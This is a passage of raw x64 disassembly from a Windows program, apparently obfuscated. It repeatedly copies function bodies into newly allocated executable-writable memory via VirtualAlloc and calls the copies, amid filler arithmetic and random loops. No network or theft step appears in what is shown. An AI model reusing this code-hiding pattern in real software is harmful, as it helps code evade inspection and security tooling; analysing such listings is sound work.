movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1ae0]
lea rcx, [0x14002e260]
call r8
movaps xmm6, xmm0
mov rcx, qword [rbp + 0x1c50]
xor rcx, qword [rbp + 0x1c58]
mov qword [rbp + 0x1c50], rcx
mov rax, qword [rbp + 0x1c60]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1c68], xmm1
mov qword [rbp + 0x1c78], rax
mov rdx, rsi
lea rcx, [rbp + 0x1c68]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x1400134ef
cmp rax, r15
je 0x1400134dc
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x1400134c6
jmp 0x1400134ef
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x1400135df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140013518
mov r8, r12
jmp 0x1400135be
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140013530
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1ad8]
lea rcx, [0x14002dcf0]
call r8
nop
mov rcx, qword [rbp + 0x1c68]
xor rcx, qword [rbp + 0x1c70]
mov qword [rbp + 0x1c68], rcx
mov rax, qword [rbp + 0x1c78]
mov qword [rax], rcx
mulsd xmm0, xmm6
addsd xmm0, xmm8
subsd xmm0, xmm9
mov rcx, qword [rbp + 0x1c80]
xor rcx, qword [rbp + 0x1c88]
mov qword [rbp + 0x1c80], rcx
mov rax, qword [rbp + 0x1c90]
mov qword [rax], rcx
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov dword [rbp + 0x80], 3
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1978]
call fcn.140021f10
movsd qword [rbp + 0x5b0], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c98], xmm0
mov qword [rbp + 0x1ca8], rax
mov rdx, rsi
lea rcx, [rbp + 0x1c98]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea rbx, [0x140021830]
test rax, rax
je 0x1400136d0
cmp rax, rbx
je 0x1400136bd
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x1400136a7
jmp 0x1400136d0
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x1400137bf
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x1400136f9
mov r9, r12
jmp 0x14001379e
mov rax, rbx
mov rcx, r9
mov edx, 3
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140013710
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], rbx
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x5b0]
lea rcx, [0x140009f50]
call r9
nop
mov rcx, qword [rbp + 0x1c98]
xor rcx, qword [rbp + 0x1ca0]
mov qword [rbp + 0x1c98], rcx
mov rax, qword [rbp + 0x1ca8]
mov qword [rax], rcx
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1978]
call fcn.140021f10
movsd qword [rbp + 0x5e0], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1cb0], xmm0
mov qword [rbp + 0x1cc0], rax
mov rdx, rsi
lea rcx, [rbp + 0x1cb0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a840]
lea rbx, [0x140021750]
test rax, rax
je 0x140013889
nop dword [rax + rax]
cmp rax, rbx
je 0x140013876
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a840]
test rax, rax
jne 0x140013860
jmp 0x140013889
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14001396f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400138b2
mov r8, r12
jmp 0x14001394e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400138c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], rbx
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x5e0]
lea rcx, [0x140009f60]
call r8
nop
mov rcx, qword [rbp + 0x1cb0]
xor rcx, qword [rbp + 0x1cb8]
mov qword [rbp + 0x1cb0], rcx
mov rax, qword [rbp + 0x1cc0]
mov qword [rax], rcx
mulsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [rsp + 0x60]
mov r9d, dword [rbp + 0x156c]
mov r8d, dword [rbp + 0x1568]
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1568]
test al, 1
jne 0x1400139dd
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
jmp 0x1400139e8
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x158d], 0
mov edi, 5
nop dword [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 0x156c]
mov r8d, dword [rbp + 0x1568]
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1568]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1978]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0xa4a0]
test bl, 1
jne 0x140013a8d
mov r9d, dword [rbp + 0x156c]
mov r8d, dword [rbp + 0x1568]
lea rcx, [rbp + 0x1568]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
imul ecx, eax
mov dword [rsp + 0x60], ecx
jmp 0x140013aad
lea rcx, [rbp + 0x1978]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
inc ebx
cmp ebx, 5
jl 0x140013a10
sub rdi, 1
jne 0x140013a00
mov r9d, dword [rbp + 0x156c]
mov r8d, dword [rbp + 0x1568]
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1568]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 0x156c]
mov r8d, dword [rbp + 0x1568]
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1568]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x158d]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x1698]
call fcn.1400047a0
sub r14, 1
jne 0x140012b10
lea rcx, [rbp + 0x608]
call fcn.140009fc0
mov rsi, qword [rbp - 0x80]
mov qword [rbp - 0x38], rsi
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x30]
call fcn.140021870
test al, al
js 0x140012b00
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2ca0]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x1758]
call fcn.140021e60
mov rax, qword [0x14006dac0]
lea r8, [rbp + 0x15d0]
mov rdx, qword [rbp + 0x1530]
xor ecx, ecx
call rax
test eax, eax
jne 0x140013ba8
mov dword [rbp + 0x15d0], r12d
cmp qword [rbp + 0x1530], 0
je 0x140013d3c
mov rbx, qword [sym.imp.ADVAPI32.dll_FreeSid]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1cc8], xmm0
mov qword [rbp + 0x1cd8], rax
lea rdx, [rbp + 0x15798]
lea rcx, [rbp + 0x1cc8]
call fcn.140009f70
nop
mov ecx, r12d
lea rdi, [0x140021920]
mov rax, qword [0x14006c490]
test rax, rax
je 0x140013c29
nop word [rax + rax]
cmp rax, rdi
je 0x140013c16
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c490]
test rax, rax
jne 0x140013c00
jmp 0x140013c29
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x67f50]
test r8, r8
jne 0x140013d0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140013c52
mov r8, r12
jmp 0x140013cee
mov rax, rdi
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140013c60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140069870]
mov qword [r13 + rax*8 + 0x6c490], rdi
mov qword [r13 + rax*8 + 0x67f50], r8
inc rax
mov qword [0x140069870], rax
lea rdx, [rbp + 0x1530]
mov rcx, rbx
call r8
nop
mov rcx, qword [rbp + 0x1cc8]
xor rcx, qword [rbp + 0x1cd0]
mov qword [rbp + 0x1cc8], rcx
mov rax, qword [rbp + 0x1cd8]
mov qword [rax], rcx
call fcn.140024c3c
mov dword [rbp + 0xcbb4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xb830]
call fcn.1400068a0
mov dword [rbp + 0x1570], 0xffffff9c
mov dword [rbp + 0x1574], 0x64
movups xmmword [rbp + 0x1988], xmm10
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1770], xmm0
mov qword [rbp + 0x1780], rax
lea rcx, [rbp + 0x1770]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x618]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x150]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x1770]
call fcn.140022230
nop
lea rcx, [rbp + 0x150]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x618]
call fcn.1400086c0
lea rcx, [rbp + 0x398]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x158]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x1770]
call fcn.140022230
nop
lea rcx, [rbp + 0x158]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x398]
call fcn.1400086c0
lea rcx, [rbp + 0x3a0]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x1770]
call fcn.140022230
nop
lea rcx, [rbp + 0x160]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x3a0]
call fcn.1400086c0
lea rcx, [rbp + 0x3a8]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x168]
lea rcx, [rbp + 0x1770]
call fcn.140022230
nop
lea rcx, [rbp + 0x168]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x3a8]
call fcn.1400086c0
lea rcx, [rbp + 0x3b0]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x170]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x1770]
call fcn.140022230
nop
lea rcx, [rbp + 0x170]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x3b0]
call fcn.1400086c0
lea rcx, [rbp + 0x3b8]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x178]
lea rcx, [rbp + 0x1770]
call fcn.140022230
nop
lea rcx, [rbp + 0x178]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x3b8]
call fcn.1400086c0
lea rcx, [rbp + 0x2420]
call fcn.140009fc0
mov qword [rbp + 0x3c8], 0x64
mov rax, qword [rbp + 0x2420]
mov qword [rbp + 0x3d0], rax
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0x3d0]
lea rcx, [rbp + 0x1010]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rbp - 0x80], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2cc0]
call fcn.140005020
nop
lea rcx, [rbp + 0x3f0]
call fcn.140009fc0
mov qword [rbp - 0x28], rsi
mov rax, qword [rax]
mov qword [rbp - 0x40], rax
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x40]
call fcn.140021870
test al, al
jns 0x140015057
nop dword [rax]
mov r14d, 0x2710
lea rsi, [rbp + 0x15798]
nop dword [rax]
mov r9d, dword [rbp + 0x1574]
mov r8d, dword [rbp + 0x1570]
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1570]
call fcn.140009bf0
mov rbx, qword [rbp + 0x1778]
sub rbx, qword [rbp + 0x1770]
sar rbx, 3
mov r9d, dword [rbp + 0x1574]
mov r8d, dword [rbp + 0x1570]
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1570]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x1770]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 0x1574]
mov r8d, dword [rbp + 0x1570]
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1570]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1ce0], xmm0
mov qword [rbp + 0x1cf0], rax
mov rdx, rsi
lea rcx, [rbp + 0x1ce0]
call fcn.140009f70
nop
mov dword [rbp + 0x1610], r12d
mov dword [rbp + 0x1614], 0x19
lea rcx, [rbp + 0x2cc0]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2cc0]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x14001412d
nop dword [rax + rax]
mov r9d, dword [rbp + 0x1614]
mov r8d, dword [rbp + 0x1610]
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1610]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x140014100
mov rcx, qword [rbp + 0x1ce0]
xor rcx, qword [rbp + 0x1ce8]
mov qword [rbp + 0x1ce0], rcx
mov rax, qword [rbp + 0x1cf0]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x16b0], xmm0
mov qword [rbp + 0x16c0], rax
lea rcx, [rbp + 0x16b0]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x16b0]
call fcn.1400074f0
nop
lea rax, [rbp + 0x1570]
mov qword [rbp + 0x930], rax
lea rax, [rbp + 0xb830]
mov qword [rbp + 0x938], rax
movups xmm6, xmmword [rbp + 0x930]
lea rdx, [rbp + 0x1018]
lea rcx, [rbp + 0x16b0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1020]
lea rcx, [rbp + 0x16b0]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0x1028]
lea rcx, [rbp + 0x16b0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1030]
lea rcx, [rbp + 0x16b0]
call fcn.140021420
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1cf8], xmm0
mov qword [rbp + 0x1d08], rax
mov rdx, rsi
lea rcx, [rbp + 0x1cf8]
call fcn.140009f70
nop
mov dword [rbp + 0x1ad0], 0xffffff9c
mov dword [rbp + 0x1ad4], 0x64
lea rax, [rbp + 0x1ad0]
mov qword [rbp + 0x920], rax
lea rax, [rbp + 0xb830]
mov qword [rbp + 0x928], rax
movups xmm6, xmmword [rbp + 0x920]
lea rdx, [rbp + 0x1038]
lea rcx, [rbp + 0x16b0]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0x1040]
lea rcx, [rbp + 0x16b0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1048]
lea rcx, [rbp + 0x16b0]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0x1050]
call fcn.140021780
lea rdx, [rbp + 0x1058]
lea rcx, [rbp + 0x16b0]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1060]
lea rcx, [rbp + 0x16b0]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov rcx, qword [rbp + 0x1cf8]
xor rcx, qword [rbp + 0x1d00]
mov qword [rbp + 0x1cf8], rcx
mov rax, qword [rbp + 0x1d08]
mov qword [rax], rcx
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1988]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0xb830]
lea rcx, [rbp + 0x1988]
call fcn.140021f10
movsd qword [rbp + 0x1b08], xmm0
movsd qword [rbp + 0x1ac8], xmm6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d88], xmm0
mov qword [rbp + 0x1d98], rax
mov rdx, rsi
lea rcx, [rbp + 0x1d88]
call fcn.140009f70
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d10], xmm0
mov qword [rbp + 0x1d20], rax
mov rdx, rsi
lea rcx, [rbp + 0x1d10]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a520]
lea rbx, [0x140021750]
test rax, rax
je 0x1400143f9
nop dword [rax + rax]
cmp rax, rbx
je 0x1400143e6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a520]
test rax, rax
jne 0x1400143d0
jmp 0x1400143f9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x1400144df
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140014422
mov r8, r12
jmp 0x1400144be
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140014430
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
mov qword [r13 + rax*8 + 0x6a520], rbx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1b08]
lea rcx, [0x140009f30]
call r8
nop
mov rcx, qword [rbp + 0x1d10]
xor rcx, qword [rbp + 0x1d18]
mov qword [rbp + 0x1d10], rcx
mov rax, qword [rbp + 0x1d20]
mov qword [rax], rcx
addsd xmm0, xmm7
movsd qword [rbp + 0x3d8], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1d28], xmm0
mov qword [rbp + 0x1d38], rax
mov rdx, rsi
lea rcx, [rbp + 0x1d28]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x140014579
nop
cmp rax, r15
je 0x140014566
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140014550
jmp 0x140014579
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001465f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400145a2
mov r8, r12
jmp 0x14001463e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400145b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
